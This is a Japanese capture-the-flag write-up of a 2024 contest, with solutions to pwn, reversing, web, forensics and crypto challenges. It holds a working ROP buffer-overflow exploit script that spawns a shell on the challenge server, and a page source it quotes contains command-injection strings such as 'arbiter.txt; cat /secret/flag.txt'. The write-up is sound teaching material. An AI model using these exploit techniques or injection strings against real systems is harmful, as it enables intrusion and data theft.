この大会は2024/4/13 7:00(JST)~2024/4/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は2031点で614チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。
I rebel... (Welcome)
Discordに入り、#rulesチャネルでルールを見ると、フラグが書いてあった。
shctf{th3r3_is_a_great_DISturb4nc3_n_t3h_4ce}
Falling In ROP (pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { DisplayArt(); vuln(); fflush((FILE *)0x0); return 0; } undefined8 vuln(void) { undefined local_58 [80]; puts("-============Coming Home - Falling In Reverse============-"); puts( "Transmission from the stars.\nA message from the atmosphere.\nEtched into my heart.\nYour pur pose there is still unclear." ); printf("Tell me who you are: "); read(0,local_58,0x100); return 0; } void win(int param_1,int param_2,int param_3) { if (((param_1 == 0x7971957) && (param_2 == 0x71972)) && (param_3 == 0x9214)) { printf("I can finally hear her message loud and clear hold on my dear I\'m coming home"); system("whoami"); } else { printf("Your /bin/sh"); } return; }
BOFでROPを使ってsystem関数を"/bin/sh"を引数に指定して実行できればよい。
$ ROPgadget --binary falling.bin | grep ": ret" 0x0000000000401016 : ret 0x0000000000401042 : ret 0xbf 0x0000000000401022 : retf 0xbf $ ROPgadget --binary falling.bin --re "pop rdi" Gadgets information ============================================================ 0x00000000004011cb : mov ebp, esp ; pop rdi ; ret 0x00000000004011ca : mov rbp, rsp ; pop rdi ; ret 0x00000000004011cd : pop rdi ; ret 0x00000000004011c9 : push rbp ; mov rbp, rsp ; pop rdi ; ret Unique gadgets found: 4
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote("spaceheroes-falling-in-rop.chals.io", 443, ssl=True, sni="spaceheroes-falling-in-rop.chals.io") else: p = process("./falling.bin") elf = ELF("./falling.bin") ret_addr = 0x401016 pop_rdi_addr = 0x4011cd system_addr = elf.symbols["system"] binsh_addr = next(elf.search(b"/bin/sh\x00")) payload = b"A" * 88 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) data = p.recvuntil(b": ").decode() print(data, end="") print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to spaceheroes-falling-in-rop.chals.io on port 443: Done [*] '/media/sf_Shared/falling.bin' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄ ▄▄▄ ▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄ ▄▄ ▄▄▄▄ ▄▄▄▄▄ ▄▄ ▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▀ ▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄ ▄▄▄▄▄▄▄ ▀▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄▀▀▄▄▄▄▄▄▄▀ ▄▄ ▄▄▄ ▀▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▀▀ ▄▄▄▄ ▄▄ ▄▄ ▄ ▄▄ ▀▀▄▄▄ ▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄▀▀ ▄▄▄ ▄▄ ▄▄▄ ▄▄ ▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▀▀ ▄▄▄▄▄▄▄▀ ▄▄ ▄▄▄ ▀▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▀▀ ▄▄▄ ▄▄▄ ▄▄ ▄▄ ▀▄▄▄ ▄ ▄ ▄▀▀ ▄▄▄▄▄▄▄▄▀ ▄▄▄▄▄▄▄ ▀▀▄ ▄ ▄ ▄▄▄▄ ▄▄▄▀ ▄▄ ▄▄▄ ▄ ▄ ▄ ▄▄▄▄ ▄▄▄▀ ▀▄▄▄ ▄▄ ▄ ▄ ▄ ▄▄▄ ▄▄▄▀ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▀▀▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▀▀ ▀▀▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀ ▀▀▀▀▄▄▄▄▄ ▄▄▄▄ ▄▄ ▄▄▄ ▀▀▄▄ ▄ ▄ ▄ ▄▄▄ ▄ ▀ ▄▄▄▄ ▄▄▄▄▀▀▀▀ ▀▀▀▄▄▄ ▄▄▄ ▀▄▄ ▄▄▄ ▄▄ ▄▄▄ ▄ ▄▄ ▄▄▄▀ ▄▄▄ ▄▄▄▄▀▀ ▀▀▄▄▄▄▄▄ ▄▄ ▄▄ ▄ ▄▄ ▄ ▄▄ ▄▄ ▄▄▄▄▄▄▀▀ ▀▀▄▄▄▄▄▄▄ ▄▄ ▄▄ ▄▄ ▄ ▄▄ ▄▄▄▄ ▄▀▀ ▀▄▄ ▄▄ ▄▄ ▄▄▄▄ ▄ ▄▄▄▄▄▄▀ ▄▄ ▄▄ ▄▄ ▄ ▄▄ ▄▄ ▄▄▄▀ ▀▄▄▄▄▄▄▄▄ ▄ ▄▄▄ ▄▄▀ ▄▄ ▄▄▄ ▄▄ ▄▄▄▄ ▄▄▀ ▀▄▄▄▄▄ ▄ ▄▄▄▄▄▀ ▀▄▄▄▄▄ ▄ ▄▄▄▄▀ ▄▄▄▄ ▄ ▄ ▄▄▄▄▀ ▀▄ ▄▄▄▀ ▄ ▄▄ ▄▄ ▀▄ ▄ ▄▄▀ ▀▄▄▄▄▄▄▀ ▀▄▄▄▄▀ ▀▄▄▀ -============Coming Home - Falling In Reverse============- Transmission from the stars. A message from the atmosphere. Etched into my heart. Your purpose there is still unclear. Tell me who you are: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xcd\x11@\x00\x00\x00\x00\x005!@\x00\x00\x00\x00\x00P\x10@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls - banner_fail bin boot chal dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin service.conf srv sys tmp usr var wrapper $ cat flag.txt shctf{hat3_mu$t_n3v3r_w1n_6184}
shctf{hat3_mu$t_n3v3r_w1n_6184}
ATM (re)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; char local_11; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Welcome to the ATM (Alien Time Machine)! Please select an option from the list below:"); do { puts("(b)alance\n(w)ithdrawal\nOption: "); __isoc99_scanf(&DAT_001021a0,&local_11); getchar(); iVar1 = atm((int)local_11); } while (iVar1 != 1); print_flag(); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } undefined8 atm(char param_1) { time_t tVar1; undefined8 uVar2; long in_FS_OFFSET; int local_18; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 == 'w') { puts("How much would you like to withdrawal? (Whole amts only)\nAmount: "); __isoc99_scanf(&DAT_00102062,&local_18); tVar1 = time((time_t *)0x0); srand((uint)tVar1); local_14 = rand(); if (local_14 == local_18) { print_flag(); uVar2 = 1; goto LAB_0010145c; } puts("Completing facial recognition..."); sleep(2); puts("Wait a minute, this isn\'t you! Locking in time loop..."); sleep(2); puts("Going back in time... beep boop beep beep boop"); sleep(2); } else if (param_1 == 'b') { puts("Balance: 100,000,000,000 AD (Alien Dollars)"); } uVar2 = 0; LAB_0010145c: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } void print_flag(void) { FILE *__stream; long in_FS_OFFSET; char local_48 [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); __stream = fopen("flag.txt","r"); fgets(local_48,0x32,__stream); printf("<<< %s\n",local_48); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
UNIXTIMEの整数値をseedにしてrand()の値を指定すればフラグを取得できる。
まずこのランダム値を取得できるプログラムを作成する。
$ cat get_amount.c #include <stdio.h> #include <stdlib.h> #include <time.h> void main() { time_t tm; int amount; tm = time((time_t *)NULL); srand((unsigned int)tm); amount = rand(); printf("%d\n", amount); } $ gcc get_amount.c -o get_amount
あとはこのプログラムを使ってrand()の値を指定し、フラグを取得する。
#!/usr/bin/env python3 from pwn import * p = remote("spaceheroes-atm.chals.io", 443, ssl=True, sni="spaceheroes-atm.chals.io") data = p.recvuntil(b'Option: \n').decode().rstrip() print(data) print('w') p.sendline(b'w') data = p.recvuntil(b'Amount: \n').decode().rstrip() print(data) io = process('./get_amount') amount = io.recvline().decode().rstrip() print(amount) p.sendline(amount.encode()) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to spaceheroes-atm.chals.io on port 443: Done Welcome to the ATM (Alien Time Machine)! Please select an option from the list below: (b)alance (w)ithdrawal Option: w How much would you like to withdrawal? (Whole amts only) Amount: [+] Starting local process './get_amount': pid 1662691 [*] Process './get_amount' stopped with exit code 10 (pid 1662691) 655480430 <<< shctf{t1m3_i5_4ll_r3l4tiv3} [*] Closed connection to spaceheroes-atm.chals.io port 443
shctf{t1m3_i5_4ll_r3l4tiv3}
Slowly Downward (web)
HTMLソースを見ると、フレームになっていることがわかる。フレームの中のURLは以下のようになっている。
http://srv3.martiansonly.net:4444/
さらにこのページのHTMLソースを見てみる。リンクされているabit.htmlはログイン画面になっている。
リンクされているSMALL_THOUGHTS.htmlにアクセスし、このページのHTMLソースを見てみる。
リンクされているページを見るが何も見つからない。
一部以下にような気になる記述がある。
<div id="ADMIN">username@text/credentials/user.txt password@text/credentials/pass.txt</div>
http://srv3.martiansonly.net:4444/text/credentials/user.txtにアクセスすると、以下のように書いてあった。
4dm1n
http://srv3.martiansonly.net:4444/text/credentials/pass.txtにアクセスすると、以下のように書いてあった。
p4ssw0rd1sb0dy5n4tch3r5
http://srv3.martiansonly.net:4444/abit.htmlのログイン画面で、この情報を使ってログインする。
このような画面になっているが、flag.txtの内容は取得できない。HTMLソースを見てみると、スクリプトに以下のように書いてある。
: // Function to fetch the session token from the server function fetchSessionToken() { fetch('/get-session-token') .then(response => { if (!response.ok) { throw new Error('Failed to fetch session token.'); } return response.json(); }) .then(data => { sessionToken = data.token; // Call the function that initiates your application after fetching the session token initApplication(); }) .catch(error => { console.error('Error fetching session token:', error); }); } : // Function to handle file name input blur event document.getElementById('fileNameInput').addEventListener('blur', function() { const fileName = this.value.trim(); if (fileName.includes('arbiter.txt; cat /secret/flag.txt') || fileName.includes('carts.txt; cat /secret/flag.txt') || fileName.includes('arbiter.txt; cat secret/flag.txt') || fileName.includes('carts.txt; cat secret/flag.txt') || fileName.includes('arbiter.txt;cat secret/flag.txt') || fileName.includes('carts.txt;cat secret/flag.txt')){ // Fetch secret flag using the session token fetch('/text/secret/flag.txt', { headers: { 'Authorization': `Bearer ${sessionToken}`, 'Secret': 'mynameisstanley' } }) .then(response => { if (!response.ok) { throw new Error('File not found.'); } return response.text(); }) .then(fileContent => { document.getElementById('fileContent').innerText = fileContent; }) .catch(error => { alert(error.message); }); :
http://srv3.martiansonly.net:4444/get-session-tokenにアクセスすると、以下のように表示された。
{"token":"1e6ec9f9c268cd2d7bbc197e3bcc8a5c"}
ブラウザでアクセスしたときのクッキーの値と、AuthorizationとSecretの値を設定し、アクセスすると、フラグが得られた。
$ curl -H "Authorization: Bearer 1e6ec9f9c268cd2d7bbc197e3bcc8a5c" -H "Secret: mynameisstanley" -A "session=.eJwNz8sWgVAAQNF_uWMDjxR-xgpJJKluxPLv9uCsPT7fEPui21dNG4f9mNex6MPuG-Zhp1lYcMEll1xxxYQJ11wzZcqMGTfccMstc-Y88MAjjzzxxIIFzzyzZMkLL6xY8corb7yxZs0772zY8MEHW7Z88smOHU1qFgYOjIwcOfLFF998c-LEDz_h9_sDDnVFUA.Zhm15A.6hNtq3u2I75nHcxw85flVilEZLs" http://srv3.martiansonly.net:4444/text/secret/flag.txt shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}
shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}
Petey the Panther's Guide to the Galaxy (forensics)
$ binwalk A_Real_Space_Hero.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1891 0x763 Certificate in DER format (x509 v3), header length: 4, sequence length: 1573 3471 0xD8F Certificate in DER format (x509 v3), header length: 4, sequence length: 1746 5224 0x1468 Certificate in DER format (x509 v3), header length: 4, sequence length: 1455 6719 0x1A3F Object signature in DER format (PKCS header length: 4, sequence length: 5928 6888 0x1AE8 Certificate in DER format (x509 v3), header length: 4, sequence length: 1730 8622 0x21AE Certificate in DER format (x509 v3), header length: 4, sequence length: 1710 10336 0x2860 Certificate in DER format (x509 v3), header length: 4, sequence length: 1421 13067 0x330B TIFF image data, big-endian, offset of first image directory: 8 256834 0x3EB42 Zip archive data, at least v1.0 to extract, name: secrets/ 256872 0x3EB68 Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 164, name: secrets/piece_0.png 257044 0x3EC14 Zip archive data, at least v2.0 to extract, compressed size: 106, uncompressed size: 120, name: secrets/piece_1.png 257199 0x3ECAF Zip archive data, at least v2.0 to extract, compressed size: 152, uncompressed size: 182, name: secrets/piece_10.png 257401 0x3ED79 Zip archive data, at least v2.0 to extract, compressed size: 144, uncompressed size: 170, name: secrets/piece_100.png : : $ foremost A_Real_Space_Hero.jpg Processing: A_Real_Space_Hero.jpg |foundat=secrets/PK : : $ cd output/zip $ unzip 00000501.zip Archive: 00000501.zip creating: secrets/ inflating: secrets/piece_0.png inflating: secrets/piece_1.png inflating: secrets/piece_10.png inflating: secrets/piece_100.png inflating: secrets/piece_101.png inflating: secrets/piece_102.png : :
400個のpngファイルが展開される。この画像を20×20に敷き詰めれば、QRコードになりそうなので、結合する。
#!/usr/bin/env python3 from PIL import Image CELL_SIZE = 20 WIDTH_COUNT = 20 HEIGHT_COUNT = 20 WIDTH = CELL_SIZE * WIDTH_COUNT HEIGHT = CELL_SIZE * HEIGHT_COUNT FILE_FORMAT = 'secrets/piece_%d.png' output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255)) for y in range(HEIGHT_COUNT): for x in range(WIDTH_COUNT): fname = FILE_FORMAT % (x + y * WIDTH_COUNT) img = Image.open(fname).convert('RGB') img_crop = img.crop((0, 0, CELL_SIZE, CELL_SIZE)) output_img.paste(img_crop, (x * CELL_SIZE, y * CELL_SIZE)) output_img.save('qr.png')
結合したQRコードを読み取ると、フラグを取得できた。
shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}
A Window into Space (forensics)
パケットNo.19から8008ポートへの通信を見る。TCPヘッダのWindowサイズにフラグが1文字ずつASCIIコードとして設定されているように見えるので、取り出して結合する。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('space.pcapng') flag = '' for p in packets: if p.haslayer(TCP) and p[TCP].dport == 8008: flag += chr(p[TCP].window) print(flag)
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}
ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ (crypto)
ivはわからないが、keyはわかっている。適当なivで復号してみると、先頭ブロック以外が復号でき、そこにフラグが含まれていた。
#!/usr/bin/env python3 from Crypto.Cipher import AES with open('message.enc', 'r') as f: ciphertext = bytes.fromhex(f.read()) key = b'3153153153153153' iv = b'\x00' * 16 cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) flag = plaintext[plaintext.index(b'shctf{'):].decode() print(flag)
shctf{th1s_was_ju5t_a_big_d1str4ction}
Intergalactic Cinema (crypto)
おそらく換字式暗号だが、数字も含まれている。まずフラグ部分を見てみる。
srmfy{ax_8xf_zx_zg8f6q_38f7_frwf_zx7a_8czrf}
以下の対応になることがわかる。
s -> s r -> h m -> c f -> t y -> f
この対応からわかる範囲で復号し、単語から推測できる箇所の対応をしながら、復号を進める。
#!/usr/bin/env python3 with open('encrypted.txt', 'r') as f: ct = f.read() C = 'abcdefghijklmnopqrstuvwxyz0123456789' P = 'db1rzt34wqv9c8x2ehs5jma0fg6yuip7lonk' pt = '' for c in ct: if c in C: pt += P[C.index(c)] else: pt += c print(pt)
復号結果は以下の通り。
### line 1 ### well, my dad was a farmer. ### line 2 ### um, like everybody else back then. ### line 3 ### of course, he didn't start that way. ### line 4 ### computer says you're too tight. ### line 5 ### - nah, i got this. : : ### line 2171 ### at close of day ### line 2172 ### rage, rage against the dying of the light ### line 2173 ### shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght} ### line 2174 ### brand! help! ### line 2175 ### - help! : : ### line 2756 ### by the light of our new sun... ### line 2757 ### in our new home.
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}
Death Star Ransomware (crypto)
ECBモードなのでBMP画像が暗号されても文字が読み取れるレベルと推測し、ヘッダだけBMPにして画像として保存する。
#!/usr/bin/env python3 with open('enc.flag', 'rb') as f: enc = f.read() bmp_head = [0x42, 0x4d, 0xca, 0x14, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0xe8, 0x09, 0x00, 0x00, 0x4a, 0x09, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x03, 0x00, 0x00, 0x00, 0x40, 0x14, 0x70, 0x01, 0x23, 0x2e, 0x00, 0x00, 0x23, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0xff, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x42, 0x47, 0x52, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] bmp = bytes(bmp_head) + enc[len(bmp_head):] with open('almost_flag.bmp', 'wb') as f: f.write(bmp)
画像(掲載画像は縮小したもの)を見るとフラグが読み取れた。
shctf{d3str0y_th3_reb3ls}
Warmind Communique (crypto)
"magma"で調べると、GOSTブロック暗号であることがわかる。最初のブロックの平文はわかるので、IVがわからなくてもKEYで復号できる。
#!/usr/bin/env python3 import gostcrypto key = bytearray(b'SKYSHOCKSKYSHOCKSKYSHOCKSKYSHOCK') iv = bytearray(b'\x00' * 16) with open('encrypted.enc', 'rb') as f: ct = f.read() cipher = gostcrypto.gostcipher.new('magma', key, gostcrypto.gostcipher.MODE_CBC, init_vect=iv) pt = 'V150NLK747CLS000' pt += cipher.decrypt(ct).decode()[16:] print(pt)
復号結果は以下の通り。
V150NLK747CLS000 GLOAMING RESURRECTION AI-COM/RSPN: ASSETS//FORCECON//IMPERATIVE IMMEDIATE ACTION ORDER xxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkkkkkkkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxl:::::::::::::::::::::::::::::::::::::::::::::::::cldxxxxxxxxxxxk0XXXNXXXX0kxxxxxxxxxxxdlc::::::::::::::::::ccccc:::::::::::::::::cccccccc:oxxxxx xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,;;;;,,;;;;;;;;;;;;;;;;;;;,;:ldxxxxxxxxxxONNNWMNNNOxxxxxxxxxxdl:;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxONWNWWNNNOxxxxxxxxoc;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx xxxxxc,,,,;;;;;;;,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxONNKKXXNNOxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx xxxxxc,;,;;;;;;;;;;;;;,,,,,,,,,,;;;;;,;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxkOOkkkkOOkxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx xxxxxc,;;;;;;;;;;;;;;;;;;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:coxxxxxxxxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::;;:;;;;;;;;;;;;;;;:::;;;;lxxxxx xxxxxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxoc:;;::;;::::;;;;;;;;;;;:;;;;;;;;:::::::::;;;;;;;;;;;;;;;:::;;;;;lxxxxx xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxdoc::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:;;;;;;;;;;;;;;::::::::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:cc:::::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;;:::::::::::;;;::::::;lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;::::;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::;;;:::;::;lxxxxx xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;::::;;;;;;;;:::::;;;;;;;;;;:::::::::;;;;;;::::::::::::::::::::::::::::::::::;;;:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;::::::;;;;;:::::::::::;;::;lxxxxx xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;:;;;;;;;;::::::::::::::;;;;;;;;;;::::::::::::::::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;:c::::::::::::::::::::::;;;;;;;;;:::::::::::::::::::;;;::::::::;;;::::;;:::::;;;;;;;;;;;;;;;::::::::::::::;:::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;::;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::;;;;::::::::::::::;:::::::;;;;;:::;;;:::::::::::::::::;;;;lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::;;;::::::::::::::::::::::::::::::::::::::::::::::::::;;;;lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::;:::;;:::::::::::::::::::::::::::::::::::::::::::;;::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::;;:::::::::;:::::::::::::::::::::::::::::::::::::::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::lxxxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::;::;lkkxxx xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::::::::c::::::::::::::::::::::::::::::::::::::::::::::::lkkxkk xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::okkkkk xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::c:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::ccc::::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::cccc::::::::::::cccc:::::::::::::::::::::::;:::::::::::::::::::::::::::::::::::okkkkk xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::ccc:::::::::::::::::cccc::::::::::::::::::::::;::::::::::::::::::::::::::::::::::okkkkk xxxkxc,;;;;;;;;;;;;;;;;;;;:;;::;::::::::::::::::::::::::::::::cc:::::::::::::;::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:::::::::::cc::::::::::::::;:::::::::::cc:::::::::::::::::::::::;;;::::::::::::::::::::::::::::okkkkk xxxxxc,;,,;;;;;;;;;;;;;cxOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO000OOOOOOOOklcc:cc:okOOOOOOOOO000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOdc:::::::::::::::::okkkkk xxxxxc,;,,,;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXkod0xclkOodONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKxc::::::::::::::::::lkkkkx xxxxxc,;,,;;;;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWNNWWWWWWNNXkodONWkcoOWXOodOXWWWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKdc;;::::::::::::::::::lkkxkx xxxxxc,;;;;;;;;;;;;;;;;;;;;;ckXNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNXOodONNNNkclOWNWXOodOXWWWWWWWWWWWWWWWWNWWWWWWWWWWWWWNWNKxc;;;;::::::::::::::::::lkkxkx xxxxxc,;;;;;;;;;;;;;;;;;;;,;;;lxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxkxodOXNNNNNkclONNWWNXOooxkxxxxxxxxkxxkkkxxxxxxxxxxxkxxkxdc:;;;;;;;;::::::::::::::;lkkxkx xxxxxc,;,,,,,,,;;;;;;;;;;;;;;:;;;cxkkOOkOOOOOOOOOOOOOkOOOOOOxl:oONNNNNNNNxclOWNNWNNNXOl:lkOOOOOOOOOOOOOOOOOOOOOOOOkdc;;::::::;;;;;;::::::::::::;lkkxkx xxxxxc,;,,,,,,,,;;,,;;;;;;;;;;;;;;lkKNNNNNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXd:cxNNNNNNNNNXOooOXNNNNNNNNNNNNNNNNNNNNN0dc:::;;;:::;;;;;;;:::;;:::;:;;lkkxkx 